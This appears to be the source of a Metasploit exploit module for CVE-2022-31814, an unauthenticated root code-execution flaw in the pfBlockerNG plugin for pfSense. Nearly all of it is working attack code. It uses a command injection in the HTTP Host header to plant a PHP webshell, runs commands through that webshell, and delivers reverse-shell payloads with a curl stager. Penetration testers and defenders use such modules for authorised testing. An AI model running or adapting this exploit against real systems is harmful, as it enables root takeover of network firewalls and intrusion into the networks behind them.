Path: blob/master/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb
33297 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper1112prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'pfSense plugin pfBlockerNG unauthenticated RCE as root',19'Description' => %q{20pfBlockerNG is a popular pfSense plugin that is not installed by default. It's generally used to21block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected22by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.23},24'Author' => [25'IHTeam', # discovery26'jheysel-r7' # module27],28'References' => [29[ 'CVE', '2022-31814' ],30[ 'URL', 'https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/'],31[ 'EDB', '51032' ]32],33'License' => MSF_LICENSE,34'Platform' => 'unix',35'Privileged' => false,36'Targets' => [37[38'Unix Command',39{40'Platform' => 'unix',41'Arch' => ARCH_CMD,42'Type' => :unix_cmd,43'DefaultOptions' => {44'PAYLOAD' => 'cmd/unix/reverse_openssl'45}46}47],48[49'BSD Dropper',50{51'Platform' => 'bsd',52'Arch' => [ARCH_X64],53'Type' => :bsd_dropper,54'CmdStagerFlavor' => [ 'curl' ],55'DefaultOptions' => {56'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'57}58}59]60],61'DefaultTarget' => 1,62'DisclosureDate' => '2022-09-05',63'DefaultOptions' => {64'SSL' => true,65'RPORT' => 44366},67'Notes' => {68'Stability' => [ CRASH_SERVICE_DOWN ],69'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],70'Reliability' => [ REPEATABLE_SESSION, ]71}72)73)7475register_options(76[77OptString.new('WEBSHELL_NAME', [78false, 'The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unset.', nil79])80]81)82end8384def upload_shell85print_status 'Uploading shell...'86if datastore['WEBSHELL_NAME'].blank?87@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"88else89@webshell_name = "#{datastore['WEBSHELL_NAME']}.php"90end91@parameter_name = Rex::Text.rand_text_alpha(4..12)92print_status("Webshell name is: #{@webshell_name}")93web_shell_contents = <<~EOF94<?php echo file_put_contents('/usr/local/www/#{@webshell_name}','<?php echo(passthru($_POST["#{@parameter_name}"]));');95EOF96encoded_php = web_shell_contents.unpack('H*')[0].upcase97send_request_raw(98'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),99'headers' => {100'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"101}102)103sleep datastore['WfsDelay']104register_file_for_cleanup("/usr/local/www/#{@webshell_name}")105end106107def check108test_file_name = Rex::Text.rand_text_alpha(4..12)109test_file_content = Rex::Text.rand_text_alpha(4..12)110test_injection = <<~EOF111<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');112EOF113encoded_php = test_injection.unpack('H*')[0].upcase114send_request_raw(115'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),116'headers' => {117'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"118}119)120sleep datastore['WfsDelay']121122check_resp = send_request_cgi(123'method' => 'GET',124'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")125)126return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)127128# Clean up test webshell "/usr/local/www/#{test_file_name}"129clean_up_injection = <<~EOF130<?php echo unlink('/usr/local/www/#{test_file_name}');131EOF132encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase133send_request_raw(134'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),135'headers' => {136'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"137}138)139Exploit::CheckCode::Vulnerable140end141142def execute_command(cmd, _opts = {})143send_request_cgi({144'method' => 'POST',145'uri' => normalize_uri(target_uri.path, @webshell_name),146'headers' => {147'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8'148},149'vars_post' => {150@parameter_name.to_s => cmd151}152})153end154155def exploit156upload_shell157print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")158case target['Type']159when :unix_cmd160execute_command(payload.encoded)161when :bsd_dropper162execute_cmdstager163end164end165end166167168